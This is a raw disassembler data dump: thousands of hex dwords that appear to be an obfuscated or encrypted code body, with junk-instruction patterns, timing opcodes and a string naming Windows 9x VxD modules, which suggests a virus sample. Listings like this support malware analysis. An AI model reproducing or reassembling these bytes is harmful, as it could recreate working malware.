18A995FFh, 0BD8307E0h, 7E01551h, 680D7401h dd 80h, 95FFFF6Ah, 7E007E1h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 8BC35141h, 774FC930h, 8994F02Dh dd 0E032199Dh, 0B807h, 0BE90000h, 63000000h, 0B4DE589Ah dd 0BBBA1337h, 548B9A4Ch, 89F52824h, 0E0294185h, 12E907h dd 8F1B0000h, 6EB0F8CEh, 0E94B1230h, 55CBE75h, 2BD86438h dd 3CBEh, 0FE900h, 0F90D0000h, 0B42C517Dh, 9453EA9Dh, 0B5DF6F66h dd 2474033Dh, 6830F24h, 29000000h, 0E030DDB5h, 0E9AD6607h dd 14h, 4B6282Dh, 9F51B23h, 0A22EDA90h, 972BEBD2h, 51C2C2ADh dd 24244403h, 525050F8h, 52505250h, 585A310Fh, 5250310Fh dd 585A310Fh, 310F585Ah, 12E9h, 92C2DD00h, 2B3DAA64h, 5FB06FB1h dd 57BAB73Eh, 5AC121FDh, 24048958h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 28C35545h, 0CE2B3463h, 95896D1Ch dd 7E0261Dh, 344D8529h, 408B07E0h, 52006A78h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 0B5559A1Eh dd 830F91BBh, 1, 0B6BD83FCh, 7E37Fh, 0D5850Fh, 0BD890000h dd 7E02191h, 0A3D08160h, 8057DA92h, 506179D4h, 5E95250h dd 4E000000h, 65A4EAD4h, 6E9310Fh, 7F000000h, 0AA87FC9Ah dd 89585AFEh, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 276455C3h, 0D11BBF69h, 8A0F60CCh dd 4, 0DA8CBF66h, 6890Fh, 8D8B0000h, 7E02641h, 24448B61h dd 759D892Ch, 5007E022h, 8880Fh, 880F0000h, 2, 4896160h dd 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 9582EFBCh, 62774E95h, 1898509h, 666007E0h dd 8925E6BEh, 0E01FADBDh, 858D6107h, 7E34C84h, 6D8D8B60h dd 0F07E02Fh, 0FF61FAB7h, 7DB589D0h, 307E014h, 60282444h dd 0BA5F781h, 858B59F4h, 7E0135Dh, 18408B61h, 8B6040F9h dd 0E01FC5BDh, 0D1B70F07h, 0B2858961h, 0F807E37Fh, 51006A58h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 0E937918Fh, 6, 0F4AFAD72h, 708BEA49h, 57006A78h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 95A8B042h, 534581E3h, 0E86072B9h, 6, 0D7CF0B2Fh, 0CA81AC46h dd 728F8DEAh, 0D8B70F59h, 1CC68361h, 0C6B70F60h, 129D8501h dd 966107E0h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 0E7C35040h, 0EE4F4A3Bh, 7C814ACBh, 2424h, 870F1000h dd 110h, 2A218501h, 509007E0h, 10E952h, 34BD0000h, 0E7046A9Dh dd 384FC49Fh, 722BE86Eh, 310F805Fh, 14E9h, 65598300h, 456C588h dd 729CA443h, 0DB615CFAh, 0E08B43F9h, 50585A0Dh, 10E95250h dd 0D4000000h, 0EC3A5081h, 0D4807909h, 0EFFDCD74h, 0FEA8B5Dh dd 6E931h, 0F9A60000h, 565F9860h, 0F90585Ah, 88Bh, 2890F00h dd 60000000h, 24448B61h, 0FE928h, 0B0C50000h, 56CF24D5h dd 797EA1CEh, 0A570669Fh, 870F90B2h, 10h, 0BE9h, 0B8CCEF00h dd 783C3737h, 9F935CACh, 830F6050h, 6, 840Fh, 0CAB10000h dd 6A9061h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 0B6D34DC3h, 6F976D0Dh, 0E956F446h, 12h, 3EF9ACC3h dd 93F6D829h, 3016AE99h, 5E37996Ah, 858DDACBh, 7E34C84h dd 0C7816660h, 0BF0FA12Eh, 0D0FF61C9h, 0A8C0Fh, 5E90000h dd 0E2000000h, 0FD5D818Bh, 298D8996h, 307E019h, 29242474h dd 0E029F1B5h, 0BD8DF807h, 7E0055Dh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 5EC35646h, 8F0FD5C2h, 1Eh dd 14E860h, 94370000h, 0AA17998Ah, 0AEFD322Eh, 25AF0472h dd 0BA878C65h, 60595A07h, 0ADF86161h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 22C35141h, 50606094h, 0DCB4615Bh dd 0B70F6061h, 0AD9D31FBh, 6107E02Ch, 24247C81h, 10000000h dd 109870Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 602311C3h, 6820Fh, 0DE810000h, 10A67F0Ch dd 1D518589h, 906107E0h, 52505250h, 0AE9h, 0D9246F00h dd 0C12D8E32h, 0FA1A217h, 0EE931h, 0A4A80000h, 0F10B29A3h dd 92C93DD0h, 457934F9h, 310F585Ah, 52505250h, 585A310Fh dd 6160310Fh, 585A585Ah, 0BF606050h, 47272DE5h, 56616160h dd 3F75BF66h, 6090615Fh, 7ADBD89h, 0F38007E0h, 448B6197h dd 66602824h, 5061D68Bh, 7E9h, 0C7553C00h, 0AB34E372h dd 6A240489h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 131BC352h, 3D71501Eh, 0DE9h, 0A7E3D300h dd 122787EFh, 8AEE0C68h, 858DFCBBh, 7E34C84h, 198C0Fh dd 14E90000h, 0F7000000h, 0AEA1A8Ah, 63DD9440h, 8AE67B9Bh dd 0B99C4123h, 0FFB32535h, 5E9D0h, 48FE0000h, 313C71Ch dd 0E9242444h, 10h, 1C7007D0h, 887B356Fh, 819778Bh, 1361A4B6h dd 50006AABh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 7386CF54h, 0FA81FF7Ch, 10000h, 72C820Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 597542C3h, 860FBB97h, 0Ch, 6820Fh, 8D290000h dd 7E00FD1h, 59BD8DF9h, 6A07E015h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 60D7C352h dd 68C0Fh, 0CA810000h, 2E0A0B1h, 68B0Fh, 0B5890000h, 7E0004Dh dd 81F5AD61h, 24247Ch, 0F100000h, 0EB87h, 5090FC00h, 68D0F52h dd 50000000h, 5A310F52h, 60310F58h, 5B505952h, 50585A61h dd 860F5250h, 6, 830Fh, 310F0000h, 7E9h, 0A412AB00h, 0EDBE148Dh dd 6A90585Ah, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 981EC350h, 0DC8E93BDh, 448BF667h dd 6A2824h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 3B008FC3h, 0F1D7A00Dh, 519589C4h, 9007E01Dh dd 3840F60h, 66000000h, 0B866F08Bh, 50610053h, 9FBE6660h dd 74D5BEC8h, 90612AF9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 0AAC35747h, 66609F09h, 0CC8DF781h, 8D61CE8Bh dd 0E34C8485h, 75858907h, 0FF07E021h, 0AE9D0h, 27E00000h dd 38E79715h, 0BDE33156h, 24244403h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 9FC35242h, 8B60D905h, 0E01841B5h dd 8C0F07h, 61000000h, 4D958960h, 0F507E019h, 5E95061h dd 23000000h, 361C89B7h, 0E9240489h, 14h, 0C292A31h, 17EBDEF9h dd 56912C5Ch, 0C2AAE3E8h, 791D5429h, 169D8D29h, 0FAB07E0h dd 683h, 0B5BD2900h, 8D07E01Fh, 0E01ACDBDh, 55006A07h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 4ADFBE76h, 108F0Fh, 0BE90000h, 48000000h, 0CAA12254h dd 8BB10F3Bh, 0BD89412Eh, 7E02571h, 7C81FCADh, 2824h, 870F1000h dd 0E1h, 0DE9h, 0C7DB5700h, 16142A8h, 75C32409h, 50500E50h dd 7E86052h, 50000000h, 0F2A5B0F5h, 605E3B38h, 310F6161h dd 8E960h, 0C69E0000h, 0D31BF1A4h, 0B8668144h, 5A611716h dd 24048958h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 11C35545h, 3B5CD4E8h, 2C24448Bh, 22A99D09h, 0F5007E0h dd 0C8Ch, 68C0F00h, 0F000000h, 8Fh, 24048900h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 1FC35545h, 903ECE3Dh dd 343101B9h, 84858D31h, 0F807E34Ch, 6AD0FFh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 2B0FD5C3h dd 0D281601Bh, 42FE448Dh, 1ADD8529h, 16107E0h, 0E01A299Dh dd 24440307h, 0B5896028h, 7E01EBDh, 0EE9h, 976F6E00h, 6C4E0841h dd 676130F3h, 61683665h, 9E9h, 8FA8600h, 0ED431B41h, 6AABF32Eh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 0C7DFC351h, 0FF5EDBBCh, 0E37FB28Dh, 0B2BD8307h dd 7E37Fh, 0C0330A75h, 8DE4B58Dh, 0E6FF07E3h, 7C81AD56h dd 2824h, 0E771000h, 24448B50h, 858D502Ch, 7E34C84h, 4403D0FFh dd 8B972824h, 0AE858ADFh, 8407E37Fh, 3A0474C0h, 574C7507h dd 75AEC032h, 0FB2B5EFDh, 0C933FC52h, 33D18B49h, 0ACDB33C0h dd 0CD8AC132h, 0D68AEA8Ah, 0D16608B6h, 0D8D166EBh, 35660973h dd 81665041h, 0FE5449F3h, 33EB75CEh, 4FD333C8h, 0D2F7D575h dd 0C28BD1F7h, 6610C0C1h, 3B5AC18Bh, 5E0F74D0h, 0FF04C683h dd 0E0294185h, 0FF5DE907h, 6A5EFFFFh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 0B418C350h dd 99D8B60h, 6607E002h, 51E3C281h, 0E8B0F61h, 60000000h dd 29FD858Bh, 9D8907E0h, 7E00FE1h, 0DB816061h, 57044077h dd 2E41858Bh, 8B6107E0h, 0E0294185h, 51006A07h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 19973798h dd 11D2CE8h, 0DDBD89ADh, 0D107E02Fh, 55006AE0h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 99F704FAh dd 500B427Ah, 6E9C4h, 0D6840000h, 271F1774h, 26218589h dd 850307E0h, 7E01ACDh, 2FC59589h, 0BE07E0h, 0F000000h dd 189h, 8589FC00h, 7E02A39h, 0AD66F596h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Bh, 0E5C35141h, 57FA8F07h dd 0E958763Dh, 0Dh, 0F7EDA22Bh, 48625408h, 2521B9F0h, 1D8C0FE7h dd 0F000000h, 1782h, 12E900h, 0B4330000h, 0E05BB98Ah, 0A69284FDh dd 0A2A99914h, 0C9E15873h, 0DBBF0F60h, 0C161ABB4h, 852902E0h dd 7E013EDh, 55D8503h, 6A07E0h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 9D8975C3h, 7E02411h dd 51006A96h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 0B1ADB47Ch, 6AADD9h, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 870F22C3h dd 6, 4CD8D31h, 7C8107E0h, 2424h, 870F1000h, 0B6h, 0BE9F9h dd 88A50000h, 6284CD85h, 0EEE0D658h, 8D0F5016h, 10h, 0A8B0Fh dd 5E90000h, 8D000000h, 833B8EB8h, 89240489h, 0E01379B5h dd 24448B07h, 1830F28h, 0F8000000h, 10E96090h, 0A3000000h dd 4F7A44F6h, 0CC24341Eh, 0E0C08DFh, 527BF4B1h, 14E8h dd 26F59600h, 7B5DDF47h, 0F970D10h, 70DE3CDDh, 371E904Dh dd 615E5A4Dh, 50525050h, 830F52h, 0F000000h dword_58554C dd 860F31h, 5A000000h, 0F310F58h, 688h, 0F525000h, 5A585A31h ; DATA XREF: ___:004448DCo dd 0B5899058h, 7E02C79h, 4C84858Dh, 0BD0107E3h, 7E0052Dh dd 830FD0FFh, 6, 1D65B589h, 440307E0h, 9D892424h, 7E02DA9h dd 1C244489h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 87C35343h, 0C82303F8h, 14E9FC60h, 3C000000h, 88406E00h dd 0FEAC156h, 95ED08F6h, 0DA74DBD6h, 61B6057Ah, 75985C6h dd 0C70007E0h, 0E3813485h, 7, 0B685C700h, 7E37Fh, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 0CFB4C353h, 0C880FE6h, 0F000000h, 68Ch, 1D9D2900h dd 0F07E01Dh, 0C8Eh, 6850F00h, 89000000h, 0E006859Dh, 0C2F96107h dd 800F0008h, 6, 5A1B589h, 858B07E0h, 7E0055Dh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 1DC35747h, 89CD04C8h dd 0E018AD95h, 6A4A07h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 667270C3h, 869433EDh, 8F0FF93Ah dd 0Fh, 0AE9h, 93461400h, 0AEFD4A9h, 6B5D45D3h, 8E904D2h dd 49000000h, 307AF74Fh, 38E244Eh, 899589C2h, 9607E019h dd 68E0Fh, 60600000h, 61C38B61h, 53006AADh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 4AFBE19Ah dd 247C810Fh, 24h, 27870F10h, 60000001h, 10830Fh, 0AE80000h dd 88000000h, 1E72D8F5h, 466B0561h, 61F859F8h, 0EE990h dd 0EC9E0000h, 84EC472Dh, 3BBF49A3h, 91671DA2h, 7880F50h dd 60000000h, 8B666160h, 609061D9h, 7159D33h, 0FA8B07E0h dd 24448B61h, 57006A28h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 0EE91Ah, 0E1290000h, 0B8B6C4E8h dd 0D1B11571h, 0F936D48Ah, 899D89h, 505007E0h, 0E9525052h dd 0Ah, 6ACD3BC0h, 0E3DF2D14h, 310FBF53h, 585A6160h, 0E860310Fh dd 14h, 68122787h, 0BB8AEE0Ch, 23ED56FCh, 3B1F7B92h, 0C2EA8242h dd 615F535Bh, 489585Ah, 50006A24h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 8B600F92h, 0E0204DBDh dd 11830F07h, 0E8000000h, 0Bh, 5C89F774h, 4087425Eh, 5A01F36Bh dd 84858D61h, 6007E34Ch, 0EE957h, 0FBC10000h, 0A3E1326Ah dd 0A58629D4h, 89DF208h, 0D0FF615Ah, 9E9h, 2D497100h, 0AD0342C2h dd 63E97516h, 0F9FFFFFDh, 9463858Dh, 616007E3h, 6880F90h dd 60000000h, 5B525B53h, 9E95061h, 7000000h, 4B8361F4h dd 3A9CACB8h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1504h, 0C3564600h, 820FCAF0h, 0Eh, 91BD8B60h, 3307E000h dd 0E01BF98Dh, 0FF646107h, 35h, 0A5B58900h, 8B07E031h dd 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 0F89D68C3h, 16158589h, 8B0F07E0h, 0Ch, 6890Fh dd 830F0000h, 0 dd 1F59D01h, 896407E0h, 25h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 6929C187h dd 91C9858Dh, 6A07E3h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 0EBA2B1C3h, 1C918D89h, 608907E0h dd 0DE901h, 9B190000h, 0CE1A5E9h, 3B48AB1h, 0E94B35BFh dd 30Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 0B1C35747h, 0B60B920h, 0E02F2995h, 0CE907h, 993A0000h dd 346AED67h, 1DB4AC10h, 8B619619h, 0E8DBh, 815D0000h dd 0E391C2EDh, 0FF9CBC07h, 0BD830012h, 7E01551h, 8B187400h dd 0E0203985h, 0C607h, 1E09858Bh, 0C607E0h, 0FD95FF00h dd 6007E028h, 7BBAB5FFh, 858D07E3h, 7E37BBEh, 0B6858D50h dd 5007E37Dh, 188195FFh, 0C48307E0h, 6A610Ch, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 57FA8FC3h dd 0F58763Dh, 0C82h, 68F0F00h, 31000000h, 0E026F19Dh, 53006A07h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 5D203572h, 0EB740A46h, 0DE960h, 0B56C0000h, 17E7CC4Ch dd 50B4C178h, 80CDDF37h, 8D610CCDh, 0E37DB6B5h, 56006A07h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 7C46A794h, 0FE21640h, 0C86h, 68A0F00h, 89000000h, 0E008FD9Dh dd 15BD8D07h, 8907E002h, 0E030C99Dh, 3E8007h, 94840Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 5B85AC3h, 446EBC4Ch, 3114F9B2h, 0E0142995h dd 1810F07h, 0F8000000h, 2565B589h, 6AA407E0h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 3821C353h, 704EC4C0h, 96B965Dh, 0E00F4585h, 35958907h dd 0E907E013h, 0FFFFFF89h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 71C35343h, 0DB816660h, 0C580BE41h, 0B861BDh dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 4FD1C355h, 89C2B28Fh, 0E030B195h dd 0F560AA07h, 61D0B70Fh, 260D8D89h, 7B807E0h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 0D576C357h, 8928D94Ah, 0E019118Dh, 4D85C707h dd 107E012h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 0EBC4C355h, 9C9F2F35h dd 8F0F60F8h, 6, 31C9BD0Bh, 9B007E0h, 0E88D8D61h, 6A07E04Eh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 0FF1C355h, 68Dh, 0FDBD8900h, 0F07E015h, 689h dd 85BD0100h, 0FF07E01Ch, 0BE960E1h, 19000000h, 10D608B9h dd 8F3A459Eh, 95293AF7h, 7E01BD1h, 0DE961h, 53A40000h dd 283C87EEh, 8056B9AFh, 8B91D4CBh, 550C245Ch, 0E8h, 0ED815D00h dd 7E3946Dh, 0B8838Bh, 85890000h, 7E37BBAh, 91BB858Dh dd 838907E3h, 0B8h, 0C3C0335Dh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 71C35242h, 6810FDCh, 31000000h dd 0E004ADBDh, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 25CE921Ch, 0D7D8409Eh dd 60F8F3D9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 0E6C35747h, 720D4DC7h, 0D6DA2821h, 79BD29FCh, 8D07E008h dd 0E3974E85h, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 2C1A7CA0h, 0E91F9B37h dd 8, 51DEFF5Eh, 0C96D770Fh, 0F525090h, 68Fh, 0F525000h dd 0F585A31h, 8E931h, 5BBA0000h, 94F4CC6Bh, 585A8E91h dd 0E9525050h, 0Fh, 0AE6F4F31h, 0E1E2868Ch, 8FA597F3h dd 0F275AA8h, 68C0F31h, 50000000h, 5A310F52h, 90585A58h dd 91E28160h, 0BB5A1632h, 39BCC084h, 35FF6461h, 0 aIae3rDi db '‰…3à',7,'d‰%',0 align 4 dd 0B58D3100h, 0F807E030h, 97E7858Dh, 952907E3h, 7E00805h dd 60016089h, 94A9D281h, 895668ECh, 0E00E15BDh, 0C6615E07h dd 0E0075985h, 8D894F07h, 7E00619h, 4E8h, 0C8742A00h, 14E960FEh dd 27000000h, 207CA66Ah, 0AEC3479Ah, 745B2D98h, 8FB14B5Ah dd 8B656A04h, 605061D0h, 0DE8h, 54C84D00h, 88A170A2h, 0A5BC99E1h dd 21BF2986h, 58126D75h, 12E9h, 0FA49E400h, 87811541h dd 0BE883819h, 0C3A988F9h, 61427C28h, 424448Bh, 10E9h dd 0F8FF6800h, 6CFE6CCBh, 0E2237DC3h, 0BC09095Ch, 0E9008B35h dd 9, 5056C999h, 0AC312979h, 244489E7h, 58616004h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0DDC35242h, 62AE2D7Dh dd 0B8B7FC2Ah, 18858D29h, 0FC6007E0h, 21618D29h, 0FF6107E0h dd 0E0292DB5h, 0E9F96007h, 14h, 559D016Dh, 0D4BA621Eh dd 0CBE2C026h, 4BC1196Eh, 1CE195B6h, 0E8858D61h, 6007E37Fh dd 465EBA66h, 0DE8h, 26130300h, 5F5DDB85h, 413953C5h, 615F165Ah dd 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 9A4A1CC3h, 0E93C18D9h, 12h, 9665657h, 4B2C8E23h dd 0C54061F3h, 0FDB59FDEh, 11E96AC7h, 7000000h, 0FAA2864Ch dd 0FCA3C9ECh, 0ABEDAE7Eh, 65CED2D7h, 0BAE9h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 1D1FCD2Eh, 5C8B52C2h, 0E8550C24h, 0 dd 58ED815Dh, 8B07E397h, 0E02F0185h, 2D858907h, 8B07E029h dd 0E0308585h, 25858907h, 8B07E014h, 0E01B7185h, 0C9858907h dd 0C607E000h, 0E0075985h, 85C70007h, 7E38134h, 0 aNeccuIg db '…ç—ã',7,'‰ƒ¸',0 align 4 a3J db ']3ÀÃj',0 dw 0E857h dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0D0C35747h, 0D284BD3Bh dd 602D028Dh, 57C8B866h, 5E616051h, 1D9D3161h, 6007E01Dh dd 129D958Bh, 815007E0h, 1F8D6DE8h, 0BC615F50h, 12FF74h dd 13E9h, 66CA3A00h, 4EE076F5h, 0C684A114h, 0F6E873B2h dd 0DB42AA63h, 58F64h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 626BC355h dd 10E9EE05h, 0B1000000h, 1D6213BFh, 7E1EB9A7h, 4A0258h dd 0E98BDD6Ch, 12h, 0F6D7BFD5h, 6B231420h, 9F971D4h, 0A3AF12CCh dd 0C4835E8Ah, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 93721791h, 0F904B455h dd 8E99326h, 50000000h, 9BB0D6Ch, 605FD72Eh, 8BF78B66h dd 0E86161C8h, 0Dh, 0D5BCA9EBh, 606CD588h, 12825A15h, 598D8BF5h dd 5A07E02Ch, 0A9C281F8h, 81000063h, 0BAEBE1E9h, 0BB01h dd 31530000h, 0E01D1DBDh, 348B5807h, 82BF661Ah, 4EF681C8h dd 290B2350h, 0E016AD9Dh, 61F68107h, 817B7402h, 8835CDD7h dd 15F6811Ch, 310E9CA9h, 0E00439BDh, 1A348907h, 83CA8B66h dd 816604EBh, 8131A5D0h, 0FF9CCCFBh, 0BB850FFFh, 8BFFFFFFh dd 0E02DF5BDh, 13E807h, 42DE0000h, 16779207h, 59D852DFh dd 0C874119Ch, 39DE5775h, 699D8BA6h, 5807E004h, 0E9E18166h dd 31C08141h, 66000072h, 8ABCD981h, 68h, 8B665E00h, 634FFCAh dd 19899D23h, 0F5A07E0h, 0C84h, 68F0F00h, 89000000h, 0E026C5BDh dd 1BEA8107h, 8B12476Eh, 0E030DD9Dh, 54F28107h, 0F590DFEh dd 68Eh, 99958900h, 8107E01Bh, 0DF2297C2h, 0C381663Ch dd 8B527390h, 0E01FBD8Dh, 30048F07h, 719D8953h, 5F07E025h dd 332D9D89h, 0EE8307E0h, 61BD0903h, 4E07E02Fh, 0FE8h dd 417F9E00h, 8392BBA0h, 0D639AEB2h, 989057D7h, 21D58D8Bh dd 815907E0h, 0FF8E8CFEh, 72850FFFh, 0EBFFFFFFh, 53464934h dd 2052474Dh, 444B5620h, 20202020h, 4D4D5620h, 20202020h dd 49575620h, 2032334Eh, 44585620h, 2052444Ch, 20h, 2 dup(0) dd 7B3E900h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 0E955EEC3h, 0Bh, 9E05D2ACh, 74723EA0h dd 60341793h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 5DC35242h, 0C38B6660h, 5E595051h, 0BFF86061h, 4A24D610h dd 185C761h, 7E39Ah, 0F8000000h, 6AC68BFCh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 82B2C357h dd 1755CCFAh, 0ED2EBF16h, 0D8B70FF5h, 18B0Fh, 0C1F80000h dd 9E910E8h, 0E000000h, 40A427B9h, 0D9059FAEh, 1810Fh dd 66F50000h, 0E908C8C1h, 12h, 0F37AE022h, 0DD3B2E6h, 723A1628h dd 9DCABB38h, 85898E90h, 7E39A05h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 3AC35343h, 63B42AEAh, 3830F60h dd 0F000000h, 6661F0BFh, 0E908CBC1h, 0Ch, 62828A8Fh, 0D3353776h dd 0E9E589FEh, 50F38160h, 5244CEB5h, 850Fh, 615A0000h dd 0F40FB83h, 3785h, 0BE900h, 0D8690000h, 66F62536h, 0EFB521A9h dd 0D9BD8D25h, 0E907E399h, 0Dh, 982E301Ah, 0D7838DADh dd 23877BDAh, 1D2E96Ch, 840F0000h, 4, 615B5360h, 0F0DFB83h dd 7A85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1C04h, 0C3524200h, 0B035824Fh, 20CD6965h, 0E1BD8D45h dd 6A07E399h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 0AE26C350h, 0BD9460A5h, 0FE937h dd 5CBA0000h, 8A4D7221h, 3FC86E58h, 24F852h, 15AE946h dd 0F600000h, 28Eh, 0F39B700h, 58Ch, 9B0AB800h, 83610828h dd 850F01FBh, 54h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 0A4C35040h, 2CA821F2h, 8D53CBDDh, 0E399E9BDh dd 8830F07h, 60000000h, 66FBBF0Fh, 0E961C18Bh, 100h, 13E9h dd 22FFD200h, 15780BAAh, 0BC9ABF62h, 713CFEBCh, 5F3C6C71h dd 0F2AFB83h, 8C85h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 7CB41D8h, 0A79EE285h dd 0F1BD8D60h, 6A07E399h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 9548C351h, 1860Fh dd 0E9F50000h, 8Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 0C6C35747h, 0B9C0237Bh, 0E93042D1h, 11h dd 85422482h, 0D8033FFFh, 0FB393D80h, 0B3C05DA2h, 27FB836Fh dd 35E850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 0A31C04C3h, 0F9BD8D21h, 6A07E399h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 21FDC355h, 5D3A03C1h, 0F8AF6168h, 9A09BD89h dd 66FC07E3h, 8E9C88Ch, 69000000h, 1F3BBA93h, 24BE18FBh dd 52006A03h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 0BCF0F39h, 0FC00AF8h, 1EE85h, 0C830F00h dd 0F000000h, 683h, 850F00h, 8D000000h, 0E3A0E8B5h, 50006A07h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 5E0C38DDh, 8BF94D32h, 0E3A13B85h, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 4154294h, 8C79CD38h dd 11E950h, 43C90000h, 0DF36B25Bh, 24064432h, 0CF9952C6h dd 892E95F5h, 6A2414h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 0E944A4C3h, 13h, 5AB64611h, 0A26A4B65h dd 0CB1D1EB6h, 1434CE13h, 0F52F287h, 0FE244C01h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 69C35343h, 2DA00307h dd 0BE632AB3h, 6A5A22h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 0C2835EC3h, 55006A24h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 0B2E6F37Ah dd 728966D3h, 51006AFCh, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 0DC0C7689h, 0BFB08FBDh, 0F603CD8h dd 480h, 0C1BA6600h, 0CF8B56ABh, 